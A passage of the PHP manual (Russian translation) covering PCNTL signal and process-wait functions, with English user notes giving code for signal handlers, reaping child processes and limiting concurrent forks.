      echo "\nReaped zombie child " . $p;
    }

   public function run(){
    /* ... */
    pcntl_signal(SIGCHLD,array(&$this,"child_died"));
    $readable = @stream_select($read,$null,$null,5); // 5 sec timeout
    if($readable === 0){
      // we got a timeout
      $this->do_reap();
   }

    private function child_died(){
      $this->do_reap();
    }
}
?>
webmaster at ajeux dot com 10-Aug-2009 06:56
For PHP >= 5.3.0, instead of declare(ticks = 1), you should now use pcntl_ signal_ dispatch().
benjamin at josefus dot /NO+SPAM/ net 24-Jul-2009 01:25
Since php >= 5.3 handles Closures, you are now able to define the Callback directly.
Try this:

<?php
declare(ticks = 1);

pcntl_signal(SIGUSR1, function ($signal) {
            echo 'HANDLE SIGNAL ' . $signal . PHP_EOL;
});

posix_kill(posix_getpid(), SIGUSR1);

die;
?>
ewout dot NOSPAM dot zigterman at custosys dot nl 21-Apr-2009 08:32
I found out then when you use pcntl_signal in a 'deamon' script and you run it before you fork childs it does not work as expected.

instead you need to use pcntl_signal in the child code of the child you are forking

and if you want to cach signals for the 'deamon' part you should use pcntl_signal in the parent code.
seong at respice dot net 14-Feb-2009 08:48
Be careful, when using an object in your callback. It seems this elevates the reference count. You may not want it to happen in repeated child processes.
rbotzer at yahoo dot com 21-Jun-2008 11:50
You cannot assign a signal handler for SIGKILL (kill -9).
Holger Hees 09-Jun-2008 12:49
you should use following code to prevent situation described by anxious2006 (children exit near simultaneously)

public function sig_handler($signo){
  switch ($signo) {
    case SIGCLD:
      while( ( $pid = pcntl_wait ( $signo, WNOHANG ) ) > 0 ){
        $signal = pcntl_wexitstatus ( $signo );
      }
      break;
  }
}
Anonymous 20-Dec-2007 08:44
Multiple children return less than the number of children exiting at a given moment SIGCHLD signals is normal behavior for Unix (POSIX) systems.  SIGCHLD might be read as "one or more children changed status -- go examine your children and harvest their status values".  Signals are implemented as bit masks in most Unix systems, so there can only be 1 SIGCHLD bit set in any given kernel tick for a process.
anxious2006 30-Oct-2007 09:35
Under my setup (FreeBSD 6.2-RELEASE / PHP 5.2.4 CLI) I've noticed that when a child exits the SIGCHLD handler in the parent is not always invoked. It seems to happen when two children exit near simultaneously.

In this instance the child prints "EXIT" and the parent prints "SIGCHLD received":

- EXIT
- SIGCHLD received

This works as expected, but now look what happens when three exit in quick succession:

- EXIT
- EXIT
- EXIT
- SIGCHLD received
- SIGCHLD received

Because of this quirk any code which tries to limit the maximum number of children by incrementing on fork and decrementing on SIGCHLD will eventually end up with a single child (or no further forks), since the "active children" count is always above the maximum. I've noticed similar behaviour with using decrement after pcntl_wait(). Hopefully there's a workaround for this.
rob at robertjohnkaper dot com 16-Nov-2006 03:00
Tip: when using objects, don't set the signal handler from the constructor or even a method called from the constructor - your internal variables will be uninitialised.
nate at example dot com 29-Oct-2006 04:10
If you have a script that needs certain sections to not be interrupted by a signal (especially SIGTERM or SIGINT), but want to make your script ready to process that signal ASAP, there's only one way to do it. Flag the script as having received the signal, and wait for your script to say its ready to process it.

Here's a sample script:

<?
    $allow_exit = true;  // are we permitting exit?
    $force_exit = false; // do we need to exit?

    declare(ticks = 1);
    register_tick_function('check_exit');
    pcntl_signal(SIGTERM, 'sig_handler');
    pcntl_signal(SIGINT, 'sig_handler');

    function sig_handler () {
        global $allow_exit, $force_exit;

        if ($allow_exit)
            exit;
        else
            $force_exit = true;
    }

    function check_exit () {
        global $allow_exit, $force_exit;

        if ($force_exit && $allow_exit)
            exit;
    }

    $allow_exit = false;

    $i = 0;
    while (++$i) {
        echo "still going (${i})\n";
        if ($i == 10)
            $allow_exit = true;

        sleep(2);
    }
?>

You set $allow_exit to true at all times when it is perfectly acceptable that your script could exit without warning. In sections where you really need the script to continue running, you set $allow_exit to false. Any signals received while $allow_exit is false will not take effect until you set $allow_exit to true.

<?
    $allow_exit = true;

    // unimportant stuff here. exiting will not harm anything

    $allow_exit = false;

    // really important stuff not to be interrupted

    $allow_exit = true;

    // more unimportant stuff. if signal was received during
    // important processing above, script will exit here
?>
imslushie at hotmaildotcom dot com 04-Oct-2006 07:16
I have been having trouble reaping my child process. It seemed most of the time, children were reaped properly but *sometimes* they would stay as zombies. I was catching the CHLD signal to reap child processes with the following code:

<?php

function childFinished($signal)
{
  global $kids;
  $kids--;
  pcntl_waitpid(-1, $status);
}

$kids = 0;
pcntl_signal(SIGCHLD, "childFinished");
for ($i = 0; $i < 1000; $i++)
{
  while ($kids >= 50) sleep(1);

  $pid = pcntl_fork();
  if ($pid == -1) die('failed to fork :(');

  /* child process */
  if ($pid == 0)
  {
    /* do something */
    exit(0);
  }

  /* parent */
  else { $kids++; }
}

/* when finished, just clean up the children */
print "Reaping $kids children...\n";
while ($kids) sleep(1);

print "Finished.\n";
?>

The problem was, $kids never became zero so it would effectively wait forever. After wracking my brains (UNIX forks are new to me) I finally read the Perl IPC docs and viola, a solution! It turns out that because signal handlers are not re-entrant, my handler will not be called again while it is in use. The scenario that caused me trouble was that one child would exit and call the signal handler, which would pcntl_waitpid() it and decrement the counter. Meanwhile, another child would exit while the first child was still being reaped,  so the second would never get to notify the parent!

The solution was to continually reap children from the SIGCHLD handler, so long as there were children to reap. Here is the *fixed* childFinished function:

<?php

function childFinished($signal)
{
  global $kids;

  while( pcntl_waitpid(-1, $status, WNOHANG) > 0 )
    $kids--;
}

?>
aeolianmeson at NOSPAXM dot blitzeclipse dot com 09-Jun-2006 01:19
This issue occurs in at least PHP 5.1.2.

When a SIGINT is sent via CTRL+C or CTRL+BREAK, the handler is called. If this handler sends a SIGTERM to other children, the signals are not received.

SIGINT can be sent via posix_kill() and it work exactly as expected-- This only applies when initiated via a hard break.
aeolianmeson at NOSPAM dot blitzeclipse dot com 29-May-2006 08:43
In at least version 5.1.4, the parameter passed to the handler is not a strict integer.

I have had such problems as trying to add the signal to an array, but the array is completely screwed up when viewed (but not viewed immediately after being added). This occurs when the handler is a method (array($this, 'methodname')), or a traditional functions.

To avoid this bug, typecast the parameter to an integer:
(note that each newline may appear to just be 'n'.)

<?php
print("pid= " . posix_getpid() . "\n");
declare(ticks=1);
$arrsignals = array();

function handler($nsig)
{
    global $arrsignals;
    $arrsignals[] = (int)$nsig;
    print("Signal caught and registered.\n");
    var_dump($arrsignals);
}

pcntl_signal(SIGTERM, 'handler');

// Wait for signals from the command-line (just a simple 'kill (pid)').
$n = 15;
while($n)
{
    sleep(1);
    $n--;
}

print("terminated.\n\n");
var_dump($arrsignals);
?>

Dustin
zenyatta22 at hotmail 28-Mar-2006 02:26
Process handling is not available when using a blocking socket! Bear this in mind.
wm161 at wm161 dot net 10-Jan-2006 03:45
When you are running a script inside of a loop that checks a socket, and it hangs on that checking (Either by flaw or design), it can't handle signals until some data is received.

A suggested workaround would be to use the stream_set_blocking function, or stream_select on the offending reads.
codeslinger at compsalot dot com 03-Feb-2005 09:23
I ran into an interesting problem. CLI 4.3.10 Linux

The parent forked a child.  The child did a bunch of stuff, and when it was done it sent SIGUSR1 to the parent and immediately exited.

Result:
The child turned into a zombie process waiting for the parent to harvest it, as it should.

But the parent was unable to harvest the child because it was receiving an endless barrage of SIGUSR1s.  In fact, it logged over 200000 before I shut it down (SIGKILL).  The parent was not able to do anything else (respond to other events) during that time.

No, it wasn't a bug in my child code.  Apparently, after sending a signal there is some "behind the covers" work that needs to occur to acknowledge signal completion, and when you exit immediately it is not able to happen, so the system just keeps trying.

Solution:  I introduced a small delay in the child, after sending the signal, and before exiting.
No more Sig loops...

----------

P.S.  With respect to the note below.  The whole point of the sleep function is to enable the processing of other events.  So, yes, your non-renterent code, will suddenly get re-entered when you do a sleep, because you have just handed off control to the next pending event.

Ignoring the signal is only an option if the signal is unimportant to your program....   The better way to approach it, is to not do lengthy processing inside of the signal event.  Instead set a global flag and get the heck out of there as fast as possible.  Allow another part of your program to check the flag and do the processing outside of the signal event.  Usually your program is in some kind of loop when it is receiving signals, so checking a flag regularly shouldn't be a problem.
ieure at php dot net 19-Jan-2005 05:15
Some weird signal interactions going on here. I'm running PHP 4.3.9.

sleep() calls seem to be interrupted when any signal is received by the PHP script. But things get weird when you sleep() inside a signal handler.

Ordinarily, signal handlers are non-reentrant. That is, if the signal handler is running, sending another signal has no effect. However, sleep() seems to override PHP's signal handling. If you sleep() inside a signal handler, the signal is received and the sleep() is interrupted.

This can be worked around like this:

function handler($signal)
{
    // Ignore this signal
    pcntl_signal($signal, SIG_IGN);

    sleep(10);

    // Reinstall signal handler
    pcntl_signal($signal, __FUNCTION__);
}

I don't see any mention of this behavior in the documentation.
daniel[at]lorch.cc 27-Feb-2002 06:17
There are two documents I consider reading:

  Unix Signals Programming
  http://users.actcom.co.il/~choo/lupg/tutorials/

  Beej's Guide to Unix Interprocess Communication
  http://www.ecst.csuchico.edu/~beej/guide/ipc/

Also, have a look at the manpage:

  http://www.mcsr.olemiss.edu/cgi-bin/man-cgi?signal+5


Задаёт и извлекает список блокируемых сигналов

  • « pcntl_signal
  • pcntl_sigtimedwait »
  • PHP Manual
  • Функции PCNTL
  • Задаёт и извлекает список блокируемых сигналов

pcntl_sigprocmask

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

pcntl_sigprocmask — Задаёт и извлекает список блокируемых сигналов

Описание

pcntl_sigprocmask(int $mode, array $signals, array &$old_signals = null): bool

Функция pcntl_sigprocmask() добавляет, удаляет или задаёт список блокированных процессов в зависимости от значения переданного в аргументе mode.

Список параметров

mode

Задаёт поведение функции pcntl_sigprocmask(). Возможные значения:

  • SIG_BLOCK: Добавить сигнал к списку уже блокируемых сигналов.
  • SIG_UNBLOCK: Удалить сигнал из списка блокируемых.
  • SIG_SETMASK: Заменить список блокируемых сигналов новым списком.

signals

Список сигналов

old_signals

Функция передаст по ссылке в аргумент old_signals ранее заданный список блокируемых сигналов.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования pcntl_sigprocmask()

<?php
pcntl_sigprocmask(SIG_BLOCK, array(SIGHUP));
$oldset = array();
pcntl_sigprocmask(SIG_UNBLOCK, array(SIGHUP), $oldset);
?>

Смотрите также

  • pcntl_sigwaitinfo() - Ожидание сигналов
  • pcntl_sigtimedwait() - Ожидает сигналы в течение заданного времени

User Contributed Notes

There are no user contributed notes for this page.


Ожидает сигналы в течение заданного времени

  • « pcntl_sigprocmask
  • pcntl_sigwaitinfo »
  • PHP Manual
  • Функции PCNTL
  • Ожидает сигналы в течение заданного времени

pcntl_sigtimedwait

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

pcntl_sigtimedwait — Ожидает сигналы в течение заданного времени

Описание

pcntl_sigtimedwait(
array $signals,
array &$info = [],
int $seconds = 0,
int $nanoseconds = 0
): int|false

Функция pcntl_sigtimedwait() ведёт себя точно так же как и функция pcntl_sigwaitinfo() за исключением того, что принимает два дополнительных аргумента, seconds и nanoseconds, которые устанавливают верхнюю границу времени, которое скрипт может простаивать.

Список параметров

signals

Массив ожидаемых сигналов.

info

info содержит информацию о сигнале. Смотрите функцию pcntl_sigwaitinfo().

seconds

Время ожидания в секундах.

nanoseconds

Время ожидания в наносекундах.

Возвращаемые значения

В случае успешного выполнения pcntl_sigtimedwait() возвращает номер сигнала или false в случае возникновения ошибки.

Смотрите также

  • pcntl_sigprocmask() - Задаёт и извлекает список блокируемых сигналов
  • pcntl_sigwaitinfo() - Ожидание сигналов

User Contributed Notes

There are no user contributed notes for this page.


Ожидание сигналов

  • « pcntl_sigtimedwait
  • pcntl_strerror »
  • PHP Manual
  • Функции PCNTL
  • Ожидание сигналов

pcntl_sigwaitinfo

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

pcntl_sigwaitinfo — Ожидание сигналов

Описание

pcntl_sigwaitinfo(array $signals, array &$info = []): int|false

Функция pcntl_sigwaitinfo() приостанавливает выполнение вызывающего скрипта до тех пор, пока не будет доставлен один из сигналов, указанных в signals. Если один из сигналов уже ожидает обработки (например, заблокирован pcntl_sigprocmask()),pcntl_sigwaitinfo() незамедлительно вернёт управление.

Список параметров

signals

Массив ожидаемых сигналов.

info

Аргумент info массив, содержащий информацию о сигнале.

Следующие ключи массива (аргумента) применимы для всех сигналов

  • signo: Номер сигнала
  • errno: Номер ошибки
  • code: Код сигнала

Следующие элементы массива применимы для сигнала SIGCHLD:

  • status: Статус выхода дочернего процесса или сигнал, заставивший дочерний процесс поменять состояние
  • utime: Потреблённое пользовательское время
  • stime: Потреблённое системное время
  • pid: ID процесса-отправителя
  • uid: ID пользователя владеющего процессом-отправителем

Следующие элементы массива применимы для сигналов SIGILL, SIGFPE, SIGSEGV и SIGBUS:

  • addr: Адрес памяти в котором произошёл сбой

Следующие элементы массива применимы для сигнала SIGPOLL

  • band: Событие ввода-вывода
  • fd: Номер файлового дескриптора

Возвращаемые значения

В случае успешного выполнения функция pcntl_sigwaitinfo() возвращает номер сигнала или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования pcntl_sigwaitinfo()

<?php
echo "Блокировка сигнала SIGHUP\n";
pcntl_sigprocmask(SIG_BLOCK, array(SIGHUP));

echo "Отправка сигнала SIGHUP самому себе\n";
posix_kill(posix_getpid(), SIGHUP);

echo "Ожидание сигналов\n";
$info = array();
pcntl_sigwaitinfo(array(SIGHUP), $info);
?>

Смотрите также

  • pcntl_sigprocmask() - Задаёт и извлекает список блокируемых сигналов
  • pcntl_sigtimedwait() - Ожидает сигналы в течение заданного времени

User Contributed Notes

dave at mudsite dot com 17-Jul-2016 12:28
This function is not available on platforms that do not implement the underlying C function.  Included in this would be MaxOS[1], and FreeBSD[2]

[1] : http://opensource.apple.com//source/xnu/xnu-1456.1.26/bsd/sys/signal.h

[2] : http://fxr.watson.org/fxr/source/sys/signal.h?v=FREEBSD11


Получить текст ошибки по её коду

  • « pcntl_sigwaitinfo
  • pcntl_unshare »
  • PHP Manual
  • Функции PCNTL
  • Получить текст ошибки по её коду

pcntl_strerror

(PHP 5 >= 5.3.4, PHP 7, PHP 8)

pcntl_strerror — Получить текст ошибки по её коду

Описание

pcntl_strerror(int $error_code): string

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

error_code

Возвращаемые значения

Возвращает описание ошибки.

Смотрите также

  • pcntl_get_last_error() - Получить код последней ошибки, возникшей в pcntl-функции

User Contributed Notes

There are no user contributed notes for this page.


Разделяет части контекста выполнения процесса

  • « pcntl_strerror
  • pcntl_wait »
  • PHP Manual
  • Функции PCNTL
  • Разделяет части контекста выполнения процесса

pcntl_unshare

(PHP 7 >= 7.4.0, PHP 8)

pcntl_unshare — Разделяет части контекста выполнения процесса

Описание

pcntl_unshare(int $flags): bool

Функция pcntl_unshare() позволяет процессу отсоединить части своего контекста выполнения, которые в настоящее время используются совместно с другими процессами. Основное использование pcntl_unshare() заключается в том, чтобы позволить процессу управлять своим общим контекстом выполнения без создания нового процесса.

Список параметров

flags

Параметр flags - это битовая маска, определяющая, какие части контекста выполнения должны быть неразделёнными. Параметр задаётся путём использования оператора OR вместе с нулём или более констант CLONE_*:

  • CLONE_NEWNS
  • CLONE_NEWIPC
  • CLONE_NEWUTS
  • CLONE_NEWNET
  • CLONE_NEWPID
  • CLONE_NEWUSER
  • CLONE_NEWCGROUP

Возвращаемые значения

Возвращает 0 в случае успешного выполнения, -1 в противном случае. В случае возникновения ошибки устанавливается код ошибки, который можно получить с помощью функции pcntl_get_last_error().

Смотрите также

  • Константы PCNTL
  • pcntl_get_last_error() - Получить код последней ошибки, возникшей в pcntl-функции

User Contributed Notes

There are no user contributed notes for this page.


Ожидает или возвращает статус порождённого дочернего процесса

  • « pcntl_unshare
  • pcntl_waitpid »
  • PHP Manual
  • Функции PCNTL
  • Ожидает или возвращает статус порождённого дочернего процесса

pcntl_wait

(PHP 5, PHP 7, PHP 8)

pcntl_wait — Ожидает или возвращает статус порождённого дочернего процесса

Описание

pcntl_wait(int &$status, int $flags = 0, array &$resource_usage = []): int

Функция ожидания приостанавливает выполнение текущего процесса до тех пор, пока дочерний процесс не завершится или пока не будет получен сигнал который завершает текущий процесс или вызывает функцию обработки сигнала. Если дочерний процесс уже завершился ко времени вызова (так называемые "зомби" процессы), функция незамедлительно вернёт управление. Обратитесь к вашей системному руководству (man) wait(2) для уточнения специфики работы wait в вашей системе.

Замечание:

Эта функция эквивалентна вызову pcntl_waitpid() с аргументом process_id равным -1 и без аргумента flags.

Список параметров

status

pcntl_wait() разместит информацию о статусе
по ссылке в аргументе status, который может
быть передан в следующие функции:
pcntl_wifexited(),
pcntl_wifstopped(),
pcntl_wifsignaled(),
pcntl_wexitstatus(),
pcntl_wtermsig() и
pcntl_wstopsig().

flags

Если системный вызов wait3 (man 2 wait3) доступен в вашей системе (как правило в BSD-подобных системах), вы можете задать необязательный аргумент flags. Если этот параметр не задан, будет использован стандартный системный вызов wait. Если системный вызов wait3 не доступен для вашей системы, передача значения аргумента flags не будет иметь значения. Значение аргумента flags - это битовая маска, которая может принимать значение ноль или более путём логического объединения следующих констант:

Возможные значения для flags
WNOHANG | Незамедлительно вернуть управление, если ни один из дочерних процессов не завершён
WUNTRACED | Вернуть управление для остановленных дочерних процессов, о статусе которых ещё не сообщено

Возвращаемые значения

pcntl_wait() возвращает ID завершённого дочернего процесса, -1 в случае возникновения ошибки или ноль, если WNOHANG был передан в аргумент options (на системах с доступным системным вызовом wait3) и не было доступных дочерних процессов.

Смотрите также

  • pcntl_fork() - Разветвить (fork) текущий запущенный процесс
  • pcntl_signal() - Установка обработчика сигнала
  • pcntl_wifexited() - Проверяет, соответствует ли код завершения процесса нормальному завершению
  • pcntl_wifstopped() - Проверить, остановлен ли дочерний процесс
  • pcntl_wifsignaled() - Проверить, соответствует ли код завершения процесса завершению по сигналу
  • pcntl_wexitstatus() - Получить код возврата завершённого дочернего процесса
  • pcntl_wtermsig() - Получить сигнал, из-за которого был принудительно завершён дочерний процесс
  • pcntl_wstopsig() - Получить сигнал, из-за которого был остановлен дочерний процесс
  • pcntl_waitpid() - Ожидает или возвращает статус порождённого дочернего процесса

User Contributed Notes

duerra at yahoo dot com 01-Jul-2010 07:12
Oops, I stripped just a little much from the job daemon code in the previous comment.  You'll want to add a little line before the ->launchJob() method is called:

<?php

while(count($this->currentJobs) >= $this->maxProcesses){
    echo "Maximum children allowed, waiting...\n";
    sleep(1);
}
duerra at yahoo dot com 01-Jul-2010 06:45
Using pcntl_fork() can be a little tricky in some situations.  For fast jobs, a child can finish processing before the parent process has executed some code related to the launching of the process.  The parent can receive a signal before it's ready to handle the child process' status.  To handle this scenario, I add an id to a "queue" of processes in the signal handler that need to be cleaned up if the parent process is not yet ready to handle them.

<?php
declare(ticks=1);
//A very basic job daemon that you can extend to your needs.
class JobDaemon{

    public $maxProcesses = 25;
    protected $jobsStarted = 0;
    protected $currentJobs = array();
    protected $signalQueue=array();
    protected $parentPID;

    public function __construct(){
        echo "constructed \n";
        $this->parentPID = getmypid();
        pcntl_signal(SIGCHLD, array($this, "childSignalHandler"));
    }

    /**
    * Run the Daemon
    */
    public function run(){
        echo "Running \n";
        for($i=0; $i<10000; $i++){
            $jobID = rand(0,10000000000000);
            $launched = $this->launchJob($jobID);
        }

        //Wait for child processes to finish before exiting here
        while(count($this->currentJobs)){
            echo "Waiting for current jobs to finish... \n";
            sleep(1);
        }
    }

    /**
    * Launch a job from the job queue
    */
    protected function launchJob($jobID){
        $pid = pcntl_fork();
        if($pid == -1){
            //Problem launching the job
            error_log('Could not launch new job, exiting');
            return false;
        }
        else if ($pid){
            // Parent process
            // Sometimes you can receive a signal to the childSignalHandler function before this code executes if
            // the child script executes quickly enough!
            //
            $this->currentJobs[$pid] = $jobID;

            // In the event that a signal for this pid was caught before we get here, it will be in our signalQueue array
            // So let's go ahead and process it now as if we'd just received the signal
            if(isset($this->signalQueue[$pid])){
                echo "found $pid in the signal queue, processing it now \n";
                $this->childSignalHandler(SIGCHLD, $pid, $this->signalQueue[$pid]);
                unset($this->signalQueue[$pid]);
            }
        }
        else{
            //Forked child, do your deeds....
            $exitStatus = 0; //Error code if you need to or whatever
            echo "Doing something fun in pid ".getmypid()."\n";
            exit($exitStatus);
        }
        return true;
    }

    public function childSignalHandler($signo, $pid=null, $status=null){

        //If no pid is provided, that means we're getting the signal from the system.  Let's figure out
        //which child process ended
        if(!$pid){
            $pid = pcntl_waitpid(-1, $status, WNOHANG);
        }

        //Make sure we get all of the exited children
        while($pid > 0){
            if($pid && isset($this->currentJobs[$pid])){
                $exitCode = pcntl_wexitstatus($status);
                if($exitCode != 0){
                    echo "$pid exited with status ".$exitCode."\n";
                }
                unset($this->currentJobs[$pid]);
            }
            else if($pid){
                //Oh no, our job has finished before this parent process could even note that it had been launched!
                //Let's make note of it and handle it when the parent process is ready for it
                echo "..... Adding $pid to the signal queue ..... \n";
                $this->signalQueue[$pid] = $status;
            }
            $pid = pcntl_waitpid(-1, $status, WNOHANG);
        }
        return true;
    }
}
digitalaudiorock at gmail dot com 21-Jun-2010 02:44
I was unable to get pcntl_wait or pcntl_waitpid to terminate when I had an active signal handler.  I then noticed the post below from gaylord at 100days dot de, however I'm a little confused by that post as I found the exact opposite to be true.  The default value of the third parameter of pcntl_signal (the restart_syscalls parameter) is true and this seems to cause the wait to continue when the signal arrives.  In order to prevent this I had to expressly set it to false.  That is:

pcntl_signal(SIGTERM, 'my_handler_function', false);
gaylord at 100days dot de 16-Jun-2010 05:17
pcntl_wait will not terminate on signals if you have a PHP signal handler activated (pcntl_signal).
This is unless the signal handler was activated with 3rd parameter=true.

Example:
<?php
declare(ticks=1);
pcntl_signal(SIGTERM, "myHandler");
$pid=pcntl_wait($status);
?>

This will not terminate on SIGTERM sent to the process, because "wait" will be restarted after php recieves the signal. The signal handler "myHandler" will not be called unless pcntl_wait terminates for some other reason.

Change to:
<?php
declare(ticks=1);
pcntl_signal(SIGTERM, "myHandler", true);
$pid=pcntl_wait($status);
?>

Now the pcntl_wait terminates when a signal comes in and "myHandler" will be called on SIGTERM. (Make sure to put the wait in a loop though, because it will now not only terminate when a child exits but also when a signal arrives. Test for $pid>0 to detect a exit message from a child)
(thanks to Andrey for helping me debugging this)
thomas dot nicolai at unisg dot ch 24-Mar-2006 11:19
The code before isnt working for me cause the children are correctly started but not refreshed after they died. So keep in mind to use this instead and use the signal handler to know when a child exits to know when you have to start a new one. I added a few lines to the posting from {andy at cbeyond dot net} cause his post wasnt working for me as well (PHP5.1). Same effect like the one below.

<?php
declare(ticks = 1);

$max=5;
$child=0;

// function for signal handler
function sig_handler($signo) {
  global $child;
  switch ($signo) {
   case SIGCHLD:
     echo "SIGCHLD received\n";
     $child--;
  }
}

// install signal handler for dead kids
pcntl_signal(SIGCHLD, "sig_handler");

while (1){
       $child++;
       $pid=pcntl_fork();

       if ($pid == -1) {
               die("could not fork");
       } else if ($pid) {

               // we are the parent
               if ( $child >= $max ){
                   pcntl_wait($status);
                   $child++;
               }
       } else {
               // we are the child
               echo "\t Starting new child | now we de have $child child processes\n";
               // presumably doing something interesting
               sleep(rand(3,5));
               exit;
       }
}
?>
federico at nextware dot it 19-Feb-2006 04:39
This a simple multi process application where you can choose
the maximun process that can run at the same time.
This is useful when you need to limit the fork of process.
When the MAXPROCESS is reached the program wait on pcntl_wait()

<?php

DEFINE(MAXPROCESS,25);

for ($i=0;$i<100;$i++){
    $pid = pcntl_fork();

    if ($pid == -1) {
       die("could not fork");
    } elseif ($pid) {
                echo "I'm the Parent $i\n";
        $execute++;
        if ($execute>=MAXPROCESS){
            pcntl_wait($status);
            $execute--;
        }
    } else {
       echo "I am the child, $i pid = $pid \n";
       sleep(rand(1,3));
       echo "Bye Bye from $i\n";
       exit;
    }
}
?>
thisisroot at gmail dot com 19-Oct-2005 07:14
Below is a simple example of forking some children and timing the total duration (useful for stress tests).

<?php

$isParent    = true;
$children    = array();
$start        = microtime( true);

/* Fork you!
 * (Sorry, I had to)
 */
$ceiling = $CONCURRENCY - 1;

for ( $i = 0; (( $i < $ceiling) && ( $isParent)); $i++) {
    $pid = pcntl_fork();
    if ( $pid === 0) {
        $isParent = false;

    } elseif ( $pid != -1) {
        $children[] = $pid;

    }

}

/* Process body */
echo "Do stuff here\n";

/* Cleanup */
if ( $isParent) {
    $status = null;
    while ( count( $children)) {
        pcntl_wait( $status);
        array_pop( $children);
    }

    echo "Completed in " . ( microtime( true) - $start) . " seconds.\n";

}

?>


Ожидает или возвращает статус порождённого дочернего процесса

  • « pcntl_wait
  • pcntl_wexitstatus »
  • PHP Manual
  • Функции PCNTL
  • Ожидает или возвращает статус порождённого дочернего процесса

pcntl_waitpid

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_waitpid — Ожидает или возвращает статус порождённого дочернего процесса

Описание

pcntl_waitpid(
int $process_id,
int &$status,
int $flags = 0,
array &$resource_usage = []
): int

Функция ожидания приостанавливает выполнение текущего процесса до тех пор, пока дочерний процесс, указанный в аргументе process_id, не завершится или пока не будет получен сигнал, который завершает текущий процесс или вызывает функцию обработки сигнала.

Если дочерний процесс, указанный в аргументе process_id, уже завершился ко времени вызова (так называемые "зомби" процессы), функция незамедлительно вернёт управление. Любые системные ресурсы используемые дочерним процессом будут освобождены. Обратитесь к вашей системному руководству waitpid(2) для уточнения специфики работы waitpid в вашей системе.

Список параметров

process_id

Аргумент process_id может принимать одно из следующих значений:

возможные значения аргумента process_id
< -1 | ожидать любой дочерний процесс, у которого значение идентификатор группы процессов (group ID) равно модулю значения аргумента |process_id|.
-1 | ожидать любой дочерний процесс; это такое же поведение, что и у функции wait.
0 | ожидать любой дочерний процесс, идентификатор группы процессов (group ID) которого равен идентификатору текущего процесса.
> 0 | ожидать дочерний процесс ID которого равен process_id.

Замечание:

Указание -1 в качестве process_id - это аналог функции pcntl_wait() (минус flags).

status

pcntl_waitpid() разместит информацию о статусе
по ссылке в аргументе status, который может
быть передан в следующие функции:
pcntl_wifexited(),
pcntl_wifstopped(),
pcntl_wifsignaled(),
pcntl_wexitstatus(),
pcntl_wtermsig() и
pcntl_wstopsig().

flags

Значение аргумента flags - это битовая маска, которая может принимать значение ноль или более путём логического объединения следующих констант:

Возможные значения для flags
WNOHANG | Незамедлительно вернуть управление, если ни один из дочерних процессов не завершён
WUNTRACED | Вернуть управление для остановленных дочерних процессов, о статусе которых ещё не сообщено

Возвращаемые значения

pcntl_wait() возвращает ID завершённого дочернего процесса, -1 в случае возникновения ошибке или ноль, если WNOHANG был передан в аргумент flags и не было доступных дочерних процессов.

Смотрите также

  • pcntl_fork() - Разветвить (fork) текущий запущенный процесс
  • pcntl_signal() - Установка обработчика сигнала
  • pcntl_wifexited() - Проверяет, соответствует ли код завершения процесса нормальному завершению
  • pcntl_wifstopped() - Проверить, остановлен ли дочерний процесс
  • pcntl_wifsignaled() - Проверить, соответствует ли код завершения процесса завершению по сигналу
  • pcntl_wexitstatus() - Получить код возврата завершённого дочернего процесса
  • pcntl_wtermsig() - Получить сигнал, из-за которого был принудительно завершён дочерний процесс
  • pcntl_wstopsig() - Получить сигнал, из-за которого был остановлен дочерний процесс

User Contributed Notes

renmengyang567 at gmail dot com 07-Apr-2019 06:26
<?php

declare(ticks = 1);
function zp_handler($signal) {
    $id = pcntl_waitpid(-1, $status, WNOHANG);
    if (pcntl_wifexited($status))
    {
        printf("Removed Chlid id: %d \n",$id);
        printf("Chlid status: %d \n",pcntl_wexitstatus($status));
    }
}

//pcntl_signal_dispatch();
pcntl_signal(SIGCHLD, "zp_handler");
//pcntl_signal_dispatch();
//

$pid = pcntl_fork();
if ($pid == 0)
{
    print "#1 Hi, I'm child process".PHP_EOL;
    sleep(3);
    return 10;
}
else
{
    print "#1parent process id:".$pid.PHP_EOL;
    $pid = pcntl_fork();
    if ($pid == 0)
    {   print "#2 Hi, I'm child process".PHP_EOL;
        sleep(10);
        exit(20);
    }
    else
    {
        print "#2parent process id:".$pid.PHP_EOL;
        for ($i=0; $i <10 ; $i++) {
            print "wait..".PHP_EOL;
            sleep(10);
        }
    }
}
?>
fx4084 at gmail dot com 12-Sep-2014 07:53
<?php
$childs = array();

// Fork some process.
for($i = 0; $i < 10; $i++) {
    $pid = pcntl_fork();
    if($pid == -1)
        die('Could not fork');

    if ($pid) {
        echo "parent \n";
        $childs[] = $pid;
    } else {
        // Sleep $i+1 (s). The child process can get this parameters($i).
        sleep($i+1);

        // The child process needed to end the loop.
        exit();
    }
}

while(count($childs) > 0) {
    foreach($childs as $key => $pid) {
        $res = pcntl_waitpid($pid, $status, WNOHANG);

        // If the process has already exited
        if($res == -1 || $res > 0)
            unset($childs[$key]);
    }

    sleep(1);
}
?>
saguto dot l7cc at gmail dot com 09-Apr-2008 09:09
please note, if you using configure option --enable-sigchild(Enable PHP's own SIGCHLD handler) when complie php(under linux 2.6.18-53.1.13.el5.centos.plus and php 5.2.5 as I know), pcntl_waitpid and pcntl_wait in php script would never return the child pid, because the build in handle get it first.


Получить код возврата завершённого дочернего процесса

  • « pcntl_waitpid
  • pcntl_wifexited »
  • PHP Manual
  • Функции PCNTL
  • Получить код возврата завершённого дочернего процесса

pcntl_wexitstatus

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_wexitstatus — Получить код возврата завершённого дочернего процесса

Описание

pcntl_wexitstatus(int $status): int|false

Возвращает код возврата завершённого дочернего процесса. Функция применима только если функция pcntl_wifexited() вернула true.

Список параметров

status

Параметр status — это параметр статуса, передаваемый для успешного вызова функции pcntl_waitpid().

Возвращаемые значения

Возвращает код возврата дочернего процесса. Если эта функция не поддерживается ОС, возвращается false.

Смотрите также

  • pcntl_waitpid() - Ожидает или возвращает статус порождённого дочернего процесса
  • pcntl_wifexited() - Проверяет, соответствует ли код завершения процесса нормальному завершению

User Contributed Notes

There are no user contributed notes for this page.


